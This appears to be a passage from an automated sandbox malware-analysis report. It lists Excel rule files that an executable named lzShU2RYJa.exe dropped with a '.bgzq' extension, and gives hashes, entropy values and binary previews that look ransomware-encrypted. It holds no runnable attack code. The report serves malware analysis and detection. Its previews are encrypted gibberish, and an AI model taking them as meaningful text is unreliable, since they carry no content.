Preview:	<?xml.]k.b....y.?...L.'Y....f!..:.}...`@`....iI....#......I.....AY.$P3.Ag,.r.r...B\|9..A...2.\|Lw'&.<..e72...c/O....y.K4}..\B..$&.K..C%..........\|..V4K{Z.%..>.v;~...{.....i.2...1D..se....x.....I....A......x...Qa...G.....v..n,..Lu.Z.Z.sS...l"o?srP... ..=.....q}.u.<~9X...Pj^Te.jZH....Mf...'....A..w.".F....T........]........:.$.F../@......n..k.).=..X.T..}&L..x..Q...VJ...$..)..;.7. .?...,........k.$V.F.D.w.BT.,'rm....,.t..l..e.D.....AB....bQ......m.......%.....R.F(...]......<<.tQ..D....-........9.....AC.lYg...hn..{..E....Z\|.....l..b.$f.....o......(..&....C.........`....O.....3<.P.....MGx&.3V5nC.-1e...h.b...#...WUA...}LGyb.C...v..%.R\.N.....\|...N..aL...#.....f.o.r.H.....%q-..A..~.".u...t.?:....9}.}....V!..[.T.....L.V.N......FHt..m5z......S..4..n@...=...d.k..>ef...R...N...9......k...G6..#....1`.....}#LN!.T.x}...S.#...6W.s...W...-.>Ur.c...>mktS...Q7.q..j.P.../..Z.^.p.N...+..Ae..m.e...N..k?...M.=.4]..8.<0....j.)..E.&..v..We.7.......A.cWdX.N].S.a.T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.808761661319729
Encrypted:	false
SSDEEP:	24:Rj6iRxUjM0CU8GhBhkGBLTdO7lX/MiSVbD:Rj6iRSP88JulvWFD
MD5:	4E5A50B98FD850A52C258B8D48D82210
SHA1:	0C84B9A6FE38B9FA21A1EB926546D9EDA9FF0BB9
SHA-256:	C758A9AEE4478C5BC1F9B0F7D44645D7FE73792D35BDFB5ABA428B136377EB6F
SHA-512:	960EE3285E4D6B0699726523503E5514FF574B144E2517AE1E8E8782606A768364022DF5B4866559BCE1A86754A300D06000EF439CFCD23131551102A0B61C33
Malicious:	false
Preview:	<?xml.ab..:......1......H.8j.O..5..%:..l[..._..R.#...+..f0YNL)..I.&.....R%P........M...a;...{^.z.[...{...W\G...WX......[.$H...{`.......V.,dw.$...H...=.]..<..[M..Y78.M..M.$..qZ..o.2.Cs.{..v.....$.<.:=....$d.]......Q,.sw'm..nh.>(....O.3.....',^{..P.+YZUzn.K...&z.`Y.cP..q...E.....dNTe....DE...Z.$e.9....).E7........#...O...hQb..\...O...\|z.nk.~!....{.Rt.5>..........p.=.....9...^....Em.....P.).X..2?.....-....j'..T....._.U.p.L7..p#....;g.:.d..8.BQ..i.b.../...\|.g.<y.z+.aYo.$^........>....F.tsJ..48..K=.7.1.Vu.o5^..r..B}.t........:D......i.....nR.._....c.p..._Y.....Y..z....oN>8.g..\|....I.^5uD"u.....7.&v.j..Z"r^..+......}.\|..w..W.?E:.JAL.[=,Z..9......2.{..;.&d.L..`...y.@.=....{....5.L....KH.....!.....x.w..-y.F..ko..U....-%.8.m.SX.f..n.j...AY.....S...r.+'......vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8430323513552365
Encrypted:	false
SSDEEP:	24:QRNkRgJ1Fv1cWbPxDlcFJUP3o1r5Gfs0ojT/Tqm/XIR2kOg+NKtuhVbD:QR/FvpxlcFKoXrXTHgRx9ehFD
MD5:	3A998B97D3A4C579FA89E8F55719FF46
SHA1:	C6E3C60B86740EDFDDE3E8F8A5D06EA464800C39
SHA-256:	CB15A23B46AF50500C1A37266BAA000C802FEA0031C4079012EB6309E14D21CE
SHA-512:	DF2D77C492DA34A5D005EBC7E497D1641F11966DEE64C13BCE6C8B13D40D77C7EBB8CC3BFF9799816338A94431C25F1E075E7CEBAF63BFF7FE2B6C2F54626BBE
Malicious:	false
Preview:	<?xml-..6.....Q.LF..q....;..`(.....B.....?......q.._..$4N;....T.t.l..Q.7......g..7.%...{..{\|.(J..{5....A....r.X.....Z./6\|SO................}.GG.{.....9{..#c.......D0iW...SxZ.^..`.B...?K@x(7..J.K..p.L.,%..e.+p.bL....D..It....A..G.\|t.kP6..:.H.....#........dtk......y......z...H...X..6F...O....N..%,.._.Bx.k...-.F....=.)m..`.._.`dIZ.A,`.[...B.....Z.Z.z....SE...x.+3,L..v.aT....O.a..XX...i....^.+{{. ...t7.I..\...SG...C.......%.'....I.,7.../L.0....;.....W....1.4.'.a..K.:7....mhr!....R.T.9.G1w..hB.!\|Uiv...-.Ff...........]?..j4k.....6..`..F....w....P0..o8........z.F>.F.]q.E5\|..F.g...;H....E.?...z53H.=. ~.Cn........A..w6".t...M..........#....q..@...f:...k....)..<.8....P.{jJQ.Z:..6........^.Cu...Pd..."f6?.E.%;...bP......%..].0.s..T......A_.V...p.H..."..............7E..[:.MU.].Y..c8......T..6..+...Fy...A....`..i..b.........$..L... .WD?.....b.\|.!.........P..>.<KX.>........._=....)..,..n..D.../.7.;......"..Ww.P........}.c.p.().j;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.870041018150131
Encrypted:	false
SSDEEP:	24:yFw2r9DIPYrkTroxNgUZbWmr72YVEe+mp5kRkyWRW0RdS57D7WzPn24dphlVbD:MwkD7xiUWoiXdVWRW07SND7WvjDFD
MD5:	30F7DEEF262A356B6D3E9C2DD4D84A9F
SHA1:	F85B243F85991342CDED0CEF2890B91AE0448528
SHA-256:	12F58CA83EB477DC326945764112CEE7F26BAD6E2679472447095AA6D446B632
SHA-512:	FBD8DC6A4CAB32E1B0B9849E2096BFFDB8EE2E695572B67B06ABCF6A66B542C5EE2B478F06542020211E6D1676CD9712C220EAFC45FB0AC0A66041B7B06561DE
Malicious:	false
Preview:	<?xmlBu.O...5.GV..@._S......z%..p.e.../b....R.?t}..B;w..,EyK~obFy..b..pN...u.<G-...l....#....H..<.....T......$.....p....1..G...}f..Xz>,.kQ)....s.$..o...H....}l.Z.?..~<c\.[..um.0...r.n........2H.=..........\..8.....t.....H.....>S.b.....\|`A..'...=Z~!b}.b.."<;.2..VaS"s.>..U..H.. ..IZ....E...h,_.p...B....@L..,k.\.....~F..R.b$\a.........D.:.w......$.R..f..=.&.......h{`.l].s..,..X.S~....\|.&m...>BnyhjC.+..,.Vd...y....;.1`.u_.@h...5..+............J.+E...'l....8.}....;0.. W.)d.m^d=....=k.......i...q..9......7.q4..8.........n..........\|U.NY....v...v.{...P...I..k...+7<b.l.O....}}..e...!..D.o.^.U.....].^...T. .....MN.\...w.cs8Q+..$.t.j!.;.?.(_....C.,.L4.I]..Z..)....jI8.....J.\|..,..-....jB....c...w...C.....g...M.R.ArV..^.......w.....]ul....%._,..?.q..p.a.c.........\|.P)w.8..s~.i....I..e..z....F...d.5...p.RPC..b~:..Hb.#_.1.\|....HS...8`..G.?.w...}..W.e.4.t.....N...rY........m..n...\.)..#u.y....c.@y}&..l....o.6p32...F..U.b........Sw....\.ma.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.971725400783628
Encrypted:	false
SSDEEP:	96:xPIkmacOMy5MFoWbKf7M2pre3DyH2TWiW1yugFxqNmBCPmJ3FMXwDetwwxZfbiyM:LfWFZ52pre3OsWHStTOw0fbEObXKOw
MD5:	BF2A90ABF20F514BAD0CB49039903CDD
SHA1:	807A2705257E2A02BC2A48A2C76B7D67CB07907C
SHA-256:	ABE6E771075A00ADB64C742CBE4932BE11F02C376E6DBF09081445FE01BDFEFD
SHA-512:	30BB652632D86677A86D011FE6BCDE63FC5CB0E6D67B272C744D9E18F10A64CA6A5EFF3827439E7061A74D44B894505C31F36DD8CA71D452A0A8006C198F47F8
Malicious:	false
Preview:	<?xml..K............LbZ..a....0.........p....q....-w.D..>....uj'3..l+.......TJ..b.I./....o]FR.......A7[^_.rm8.....m..P...jyL.._.'.Y...<.?[..=?.Q....\a.V.\..VJ..UC.)3..K.H...(nX..g...[z..%.I.........!....L........mS..e.I.`.4.....u0.!M.M)...U.0..eU...........NkYD,.G=[.}...i.?...}5..W.._.}.!..q.....%]Lfh...}....\]i......x...C....@D.d..U8_.n\......h34s.s.1.C;...}.3....y.t..s.......)E}...rls.]2......4g ..f.....fCih...+..../.Zc?.0...q.O..Q.Tg.`.....6(Jx.X.......Y..e.....e%o..LF+..n...k..1!.>./,.w.[R$?.....r878#f...J.p.a..c..(...A...;.u...u....w.%Y....?'..Z.......1e. .YJ...V.W.......8a......Y..]Y.%....A...._'...fd.4.Q.Fo?.$....A.8....v..MI..Z..b.).39.BJa.........}v..3k..M,.<.&`.t.`k^)....N.")...>.^..$....\..tu...6..![.Jz..C.O.8.0.Q..F.m.(yw...%.A....{.J...g.....p.L"...%......W.4.\|.D..o?.....fa.Q.n..Rm.p...M8.N.m.2...E...'....%.0D..,. q.q7.#..s])p..M.H.s...h.G%.ajp...Vc2.*....1G..(.n..H..b.R..W8. .....F..[..ve..fO.-...'o+.."....e......%..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.707874126479643
Encrypted:	false
SSDEEP:	12:coq3zBO8Jtp+CWAJ4IXDotEnBLV6h7WdApKRDJSNCHT/Zi9tfacAOOOqdnvKFmh7:vu881EU6eBE7MAMSNCrc9tCTOOOIcmh7
MD5:	11597C33FB0D6E3B84DBCEADB7F1768A
SHA1:	F40604B06EECA60962F76DAFE162D674F1EEA0A2
SHA-256:	F5EE93536CB83B7FDD4A04B239832D2B624B94F44EF544B620FCC8933F90A6E5
SHA-512:	1106C8F646DF46BF076E86F5F753253D6E0C4CA6F15EDF6353CB8B111BD8ABFACE9BF78B73C096D9A05616D9C1901D252B9B6A6B5712701BBD53D0EEDCEAA509
Malicious:	false
Preview:	<?xmla.M.{._.t~l..?...E.05.F.....LY..7C.Jh."..'.F...)..k...V.5..%..!q^.U....r."F....Y..C..m.]...K4.vd.l~X..}.{..[H..}J..Z..z.t...d....kG..w....I.kW'l.....>.....A...,H.c..(.>Y....5....7.A.....Q...0.."..7.H.. rw..d..F..1.p..%........W....)"t...o.A.^\|.$b.Au.c.g...r$D.....&`.QL.q.#.1.pt.e..jH...U<.D.t..e.....Ss\.c.Te.=z..!L...-oZ.\|....#..i.6+..H;.`.>...eS........)p.E.....S..t.z!*..;...]....d..-:c..QLv...O.l.!..I.y.mR...A..{G.r$.H'z>...(...?..7...u..t.r....".k.&-..c..H.}..?./..)}....&>D?L.5."./...>P.I.K...>...b....!......{.O.....H1.`."..%..4..p$Q]/.e.u.RV....2....cVj...X...#..P.&.....W..bd..2I..M6-.:....L..[....`.n.` .g.Zjz.?`....}.../.............'..%P..W.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.835519091232205
Encrypted:	false
SSDEEP:	24:miXadTDgllWjmBvx0ZSppUsFZte7BDijJiBsNpJeTeCiNf9vab4IVbD:mwadAllWjmB2ZSDNte7Bud2s1e5ibyp9
MD5:	452FC1DE222AD5574512366DB6BE44B2
SHA1:	90B2C7649BE4C6172F5DACFEBDC8AE03D9295816
SHA-256:	B32811B7208BD668A5F3A282371E5A7C83FBB9E581C26FA20A767BDC4E156733
SHA-512:	B09F12B44999271B48FF36E0D430D528FD4CD6333A4F698048F4B5B0D3BA4C9395EED3C6F3AADA0FE818975D515D45478E06D5C4AA3CB0861BD9F63390028AE9
Malicious:	false
Preview:	<?xml674...5!,....."l....=. ..W..L.w.....t3...3..s."...}<.\#.'...\\.Od6h..........;,.H.VwfQb...A..dU5.Q.<.ht..G..V7?...f0..;...]s.!-..5Nv....\~,\|..Oq.S.U3.f6-.. .:...d........M..rm}0..".pSMq.{.../...F?..._...o.......O...kJ.\.ByC.&..c...Nq..}..C......u).~cqK......&L0...3.ZHJ.K3{...K..z.&.G0P^6,o..Ev...\.@.5...h"G.R.d]._-..R............hg`4m.......9..#k..`.i..z4....dbQS.J...#....QL.!J3J.z.UvK.............m..)......(.S...C.Q..!.5..2.]Go.}....u4).vY...8....Ej.....0...S.`Qc..;^=...f...n....M6t{...7.Q.,J.....Ac..L......ray}]....\.D6m...s.......v..C{6.F....iZ..5..tV..:Q... .qIR....I......N...A...ws .K.....9.N.9].g...z_k-..M.R..4.#E.5.B.F...k.....Yu.....i..sa.........&....E%6K..dMvE.u...).._.[~...RmIg7l....G.qy...b..Z..B......$w...'.!#......B..E...k.u..D..d..,t.(Y..U..d/..Vv...=sg..(.."m1d.V...3.^Z...k&U!..G......n..vU.G.t.tJ;c.'.7.X.)....J.N..C..tVGyii.0..F.. k&:.]...91.p.x8c._%...;(\|WZ.....1.?O...[..4}gl.'?t.."%...>?....J..%.I.Q}/..AUd..OB......o...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.941186018409314
Encrypted:	false
SSDEEP:	96:5Cncf/bWqHvC/VDd0VM24akmR2dmBA87d9:oncrWBRE99Sdp8H
MD5:	5A9CEC6D76A4BC215BE1BBF239DAED68
SHA1:	D4DBB397F02ECEDF588D725F8BB9A16424A6DA09
SHA-256:	55D2045CD92605D0004A644E0115EF1A75F5D0184B945D6ACC34B883459F3BF3
SHA-512:	151E6B395DADF4A38514054319337C0854C28FE1D65B2D76648AF769C3C4B50DD20224F2636E900918A38BA9EC2885FF6FD4AC6AA13919C4176A2E1C23D284DB
Malicious:	false
Preview:	<?xml..B`f.w9d-.K.n.z.&Q`.s.g..2+Lq......#........ifw..+...A!..P..:.6L.Xm.7........%....j.!...\|.......~....,j../......s.3...[.7......Kb.`C.$.HF.......sr.D....lD..7....\|(..M.....v.]...w...!S.~.D. Gm....T}.^..I...3....+..g.fC$D..?U.Rp.J.P-....w."..'r.....f:0..m..t.9cF...s..q.`.\|A\.7......Q...GjF..E.e/.....W.e..l?....m..T......zc.(..@.....:...U.B.......O4..D.+.a..q....KI........93..-^\\..'..../..-..'.....b'sd...<.\.Aa....6.C.8..O.#.s....}>......G.<e..k.4.L.9d_U.n\|...Y.K..g.+.X..`....9..n{,...c.8.i...Ed.M....L......z....U;.'..[......e...\|r....0C..fOE~.........m{>\<.....FU...DV;......Cx-..hu.\|W....k`.Q4`.w........o...X."'LU.f3T.P..$.OJ....vJ.?Q.xx....[~[..Z...y.I...]w..9)jxK.:..5.A....~...B"q....].._{y...].8$.......xRc.j.px. .,.gI.V.R.2..^n......7..}..^M......6...Qx6..y5.rH.}+iv.x~)..eOse..>....Hn...'w.9l1....+............r.o..p...y...f..V......g..R..........B..4.D..g.(..1...)....).E\|-Bcd.*..U...)./......!.K ..J^. .t.C]..i#...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.772926517698658
Encrypted:	false
SSDEEP:	24:HGK3XK8e1pfUUpduLuLBHF+438+36fVJEtwNNExVbD:mK3TeTfUULuAFtX36fDNaxFD
MD5:	EF402DF1BD8939AF02D07FF56AD6FE59
SHA1:	C8928A5F2564AFA06CA7EE992ADB9AACE9280C60
SHA-256:	A3B72B62FED0F1D84260353408A267F2F18EB88B8B2D25A85914B29EC70363A5
SHA-512:	F8FE6C12D7F0D077837B1D7FA0EA0B8F84FF5B0BF945474B7F81CFCA1911D8F36BAD7EE55BA92F0E49254F927B3A20C0CF7461763C6570B4B38191A4141B018A
Malicious:	false
Preview:	<?xml.IJ...'.e.g...<..uK.A..sp..pH6'.....V....7..T..d..D......kZo.v.4....7.......].JKtG.....\.uo..T..rO#......./._4.6.\|..K.!...yb.!I..J...AJ;..1..\\r.\|(.l..h.cf.....Y.I......Lr(.eo..>.@..+T...!.L.c..&..f..&..h...0..x)P..r.Y.!f..W..5..h/UG...r3...OV.0.Jw...$.&p.zGN....}.9D...T .]&.....e........l......:jw..:.....^....I.?#9m....0..~kf..R:.......#Q.p.h.QxI..\.W. \...9.#>.5...dB9....W}..h.M..l...~....]&5..+.w,#.f..,:K.D.".`..p.....J.B,+...9.A..3...E..9.Q....:.....Bg.......%n.R.mW.\|1....d..R....Nw.5....@n84aL.j... ..E..m..6.....Rp....\` ..Z.......8..WB...P_...v..C.eokhJ.X.+.w.mg..PEQb.5....r..o-..1:$........;.8..7......>C..48..Xg..]J@.B.R.....d+w....S.N.....e,.q.E..#."2...(X..>U'....>..i.'"pwC...u......x........S...... .A.%.O.`.EDj`.....7+.+..s.......=!.u..-....B...nav.N..bp.........o. ..r......j..Z..Z.....z..r..3 .#.@..M...T.sy.`d.s.Zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.930163198720864
Encrypted:	false
SSDEEP:	48:NQIJdlcfpeeflfUn04j93BYcMHOdXeMU85jChFTqfuCioYM1Af+N18zAy5L4Iio9:OIJ/cRe6NepjVekdOHzTqCoBCf+N20yD
MD5:	2712F8ED62FB191B4B35AF3E30DDD324
SHA1:	7154F5007D87F664D1BF0CDEC949E67E5F18EFF2
SHA-256:	C07F89E4D60231D535933B5E643855EA402CA68C982562451655641ACB1D4F9D
SHA-512:	B3E4D2E9AEDE733C0C3603D86181D93466EB183D873E1D5206F51FE359F6C366C3716FA92DE481B98181F458F1BDAF65DFA90E47F91714F164AD8D14D7D91413
Malicious:	false
Preview:	<?xml9..S<._rh...>z.o.7....=D4.X......u.}..Jr:.Th..?..m..xz.......@`.E..V....Pb...7Z.......!4..#..6Q....i+;.W.O......=B8,S..O..}.I7.o$..q...4.V.pB.... ...\|...E..k..m.....y.{".>..p.5..bt..NOM.....D.(........=...2.w.l.SD.#Dw.6._..EG..F.^...e~P...8".F...............\|.......Y{. .....V......88.\|...7`....uq...X..Scv..J...."hg...\|.....&=GLL....~..y.H.S.T..Q.2.....4..x.,....h'.~2&..<L6x.P..j\.V.&.Y}G(...2..../..ll...<d.A.9....2.e..~..8....Ql.a.B]D.i5..=..k)E.....\.PUio..XR.7.=.ae2'.).&.!.4.&T..edP.. . .r.8.ik.......\X.."0 .....rB<..%...>~r...k..E..F..... t7....*.K.f.......t_..I?a..x..D).#\{h^...v.d........./m...8.+...#...W.R....:>f........A.y.......K..R...fS`..?...#...T....+4..?..K...}.".'c.sL.y.I".S.......././...o!....p.H..fR.......t...J....=J...Pu...@........3..Lu...\| ...BS....-X..\|.l..m.RQ}DI%.`.....~w/'...d8de.N....B.....X.X...........S.G.`8:?\Ue ....K j6m....j..W...U.....;.....^..>i<..k~..gt...h...].I...$/..j.""....'I).X0F..r.../.n.....t...FXA=

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.924255219817407
Encrypted:	false
SSDEEP:	48:7Mwg/5CgBD6zBcjc+Yry3D8PVwPgD8dGyq1b1hRnd56eDOFD:7Nv+2/rC8HCGfhxd55DO9
MD5:	7F1533781657BBA41A8E2B084F09378B
SHA1:	680A191ACB37050CB73BDD10EB02E32C39E954D0
SHA-256:	A1FF3E489BCB52014AEDBA91B8695E39F415567E3706BD4D75A9BB5E394F1E2F
SHA-512:	5A9FBD08B384A3DEC4946C5DCC8DA64CD85BE5EF770D4B81DDD8BA782F322FA09F05EB6BA71D5C48F271C5F0CA9CD2EAC35B1187B738C62FECA2C5DFD8F9A2ED
Malicious:	false
Preview:	<?xml....m...K..q....j"i..~4.w..4t1...'.0.....>.....v.hF.p.......,..#.P.}<. F.4..+5....Q.Z.IJb?.k8....f....[o.q...)..Z..A......G....F.0.....].....k....(.q..?.:......a..........ME... Y`.."......v...v..VF......?MP...-....jpZ.O.a....k...H:_..:.v..8.$.%.V..3...;L.-IJU[.\..........&.c....v.;.3"y.D..[.$..-f%...9.v(.O..j0~z...V.]WN..a.Z...&..5..nG....f..s)..\|?\.v.......B.....LT".....N.y.m.\|$t...a..P.vD.......^\|'..E,..Uh....@...=Y.....r....;....#...I74.9. ....2........n4U'+..'\b....o>.#R....V......w...#^ ..}.....M.'.......P..)!...}$..<r...w.h.......^.U.F.v.)..nX.C...,.yog....[....l......I..S..f.C...-k....\/`T#...R. ..!:.;./.n...`..H...i....."..OF.~..g....3e.....]z.].<w.)=.....sL..........d.....`.-.1.ID....r.<...}..=.b..#O?X[2>...g..E...I.p..4...)6...o.i\|.....H8$g...3#?.n..\..2.x,1....v..../.7........W...-..CLy......?...Sv.Z.l.e.dl4/...h...%}..........1....e...D..._fQ.a."F.b.Tv...EC...B'3./.w.5..8....x..D&pt.[.9\|S.\.&.\|:E..X.E.~..5.<...T)

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.943907808704903
Encrypted:	false
SSDEEP:	96:ZTEB+NbNs94/zFAAnJa+B0+q4TB++zzWrNl9:QkO9+hJa+B0+q+++a
MD5:	3C1E82E715FF9DFCFB0DC8F96570C769
SHA1:	303725047A8A73810A63B2AB17FA2BC2F3B998E7
SHA-256:	DCF9E0C16845DA5A1818E804894C4F910CF9FDE1019B0B0E70DB1A3E7E6CC8D5
SHA-512:	6903891743C4CAC0112678C98B69136307313D12210BD1F62CC55CC8C3CAF4BA8D618934AAF83C725FCE08A3BB93134D718F4AB6D9BD059A263128DE985BA47A
Malicious:	false
Preview:	<?xml..G.8....R.../..^.{@.2.{..@.`-..r.>Ek...K65FJ.Q.5\|Qi.k9..&.dt......w..4.8...~1....).../'..K..<0...B.f....e.]......zr.....6..P.J..<...x.Rpo...T.u!am.WRY9.\|.Qe+..xh...,.u.6T.x..^....0Ylq..E.>Ni.&3.Z..L3..X....;..Hb...1.y'.I.rPs8o.......".Y.i...P...R.C..^..[Y.G..g PK....M.\"kL..X...Q..?.....?!.1......O....,~.....z.../6.A8c.....2.......Z..V..D.k....W.,.W...r^ux..7.L.^......L.u.97.O...$..lt..Gd....>.0...t......@,...L.[.._..].....x.M...Y...+...44......U~.V.#Q..v;O?...2.G!..%.v.(a../......q..+.ZO.5@:Aa.IW...u.#.sXh.P.k.T.......G,gB.qp._.....l.............>.q.QJ..N.I.s....j].....s.uw..4...LkF.1/.K+.^`.]H..&".J.?A..n4_W./aE..e...x....n..oK.Uh..\.<H.75.(}0n.Q..0........B.]x@.....S...iX...V.v^!,.d.^,...../B...;>.I.q.xA...1-DF. .l...*.$NR.&........u...h....}....J...Xj9Y..K.%..>I....%...Y.C.........V...CD{.Q...V..<..X.;....~..B......b.'..t.yFor..!.V..?..+...N.W..y..K^.Q.7.....h...t8+..C..%3..#.u._m;%\.{0GS.J7"W..\..".k'\|..'..lCd.'...^.7..h.6

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.957696763478931
Encrypted:	false
SSDEEP:	96:ROkozINiRy7v70gA8d70VoO/6vt+ryK72f3Cd3Fns6/NiKjr9:0bIJj768dYfivkyK72/z61lR
MD5:	4F009B43E6543A683A7648006EFA7410
SHA1:	D0A8B413C0B3C1B46F2007F0458536C3E3B7519B
SHA-256:	449185ADA4BA71E064777F95F61422FE224A8086BAEEAD719099778EA055AEF3
SHA-512:	D407DA2812B213E373E5C901F06F61A1EBD79D28C2F3B4ABEF62DAE510ABB2961D268596CAF799064C47D5D64EFD8EE0EC577E214A0803E300A44A89D72A8181
Malicious:	false
Preview:	<?xml.Ag..17"......?....M"l(...d>V.z..W.\..M^.$..dB..W.p.n+2)Q..n.E...hDh....L.....a..z9...j..."...3..(z..X....8I....$...`..0URP5I..R......'_}bk...&.+.m..Q.j..X%. &...".k..x~3.x.......<gH......~\i..\...E.}H.....2.....d=QI&..5Z...'}...D94..a.84,a8.:.%..r...,....{9.q..~..............P.....F.k8..DD...k\|..K..j).5.2.WrB(.JB)......C.M..\|.Ba.Q...,...D...%...T...-?..........Ds......O....t\|......8...[.'.Q....)."_z$..\|...ml.T..5s;.....P.Q....M#....m.m..2....n.[p....Z.wP.t.....m.....E..8\...y.X..j,........AiL.4.s...?9...rg.Ce-aJ}.\|nhP).....g.Xr.X......t..FmN,..O..PN..6?d\.`..U....#<....0.t.7p .qcw.?.%V..U1........U.y&.$0...8.$euz.q[..R...3+u!.....$]f<.( .../s>9."................p.m....F.f.O.0......w..O3fl....?8I2.-...Fv.I....bdTk...[.%i.0f..0..G.h.?.....w...../.R1f..z...Z.p...!......z..&...]..V...D........o@!a..R3.>...D..)q..iy.@.q...?..M.c&.7.....J...]`.Pz..-...._.....[aI..[..6k..-..5.....>:...\..(.-H&-.C..2...".or..+....I.6._y.'."..w..X..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.974463980668515
Encrypted:	false
SSDEEP:	192:tVgc4gl0IIS9WUirPmzwinnht4c/ZOiYpnb:XnB0IIS9WPS7ZOiYJb
MD5:	8EB7B75C03EC5CBDA26B1E9EC3B921BD
SHA1:	78F08564B463A728828E0AEBCBDC9074DD1BF440
SHA-256:	3AB66777A4A80023D5E6BCDF0920A5FED6AFA1F1CE59968F788D701CE38D054F
SHA-512:	BE3127B3ADFB6C175B15539272A4A671C351FD11DA6A3B08C51F32D351925AAF2A4F48674EFF11AE938B56A6816D602704BD657242267CB410BE82E89BAA750F
Malicious:	false
Preview:	<?xmlt.U.4........>zOu.%..e.....Q'..J....T...nbc...]&...Xt....]...[..&c:...$+\Tf...w>..4....0.6../.D,...H...=...{,.E.R".} .g.0.!...C.`.....hpX=. .!=O.,...QO{B../..I![...+..A.si.h......<...j,%w8I.I.hL..}.~.:.N..........C...npU.#.>.V..T......,.p.......Y.#zq.&`.q...BW.).}}....P.,.......k....i...EF..zTxuh]..Lrxq."Q...N.+.R.PoX.H...3.Gg?..$.HS.W..........Sh.......T.n..T.D.Y...V..6=...=...mS..+.H..._....$d...W.......0..Ein.-5....C.~w)R....qB.H.....<Egz.'].E.n0.^.3L....<......!hf..vt....%..^..e%uP.......v.,..7.Ud.z#.).>F.j.^...M.pD..g.t....E.e...I<....@...m.7K3.9._.).B..%....z.ZLV].}.Q.}Cs..xf'.+fYX........S...J......g.E.F..b_B...!...^..D.ruL...}Z.Y8..d...?.~..Y.. .m..L..L6...S .'..P.{Ja....x......v.@..i.%......P0.V=[..F.Dxc&...t..Mj.....X.6...`b{.-v......]Tr.Hl@N................t..q;...0..A.~..[..lSX..;.i]..c.A...At).D.C=.De+......@...#.. ...Eh.........'e.R..a.\|..{U................._.ot0f(...~..@.c.Iq..-:.....wm.z..............[.n#...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974296108980544
Encrypted:	false
SSDEEP:	192:xPNCo2JhTKmcpr4lnYRzk2dYm55fL4zBm/4h/EO+HP:xPNGhTKmQ4lA54JELP
MD5:	8CB63DB2719E47B23E7918CA7F109BDC
SHA1:	686E6C7FC1E265F0996591599BF170F5806B2E75
SHA-256:	C7638FEE98D5B641299564445C174FF58D1CB815268076F8FF4F16C905EBCE5C
SHA-512:	DBEEDE04D351C62CF1847BA6F5A662066A9566D1E9602D2B79639247456BD153CB79DD0EC6705B8FAC904DF405001AA631B04CFC0334D13A58B588C16D235547
Malicious:	false
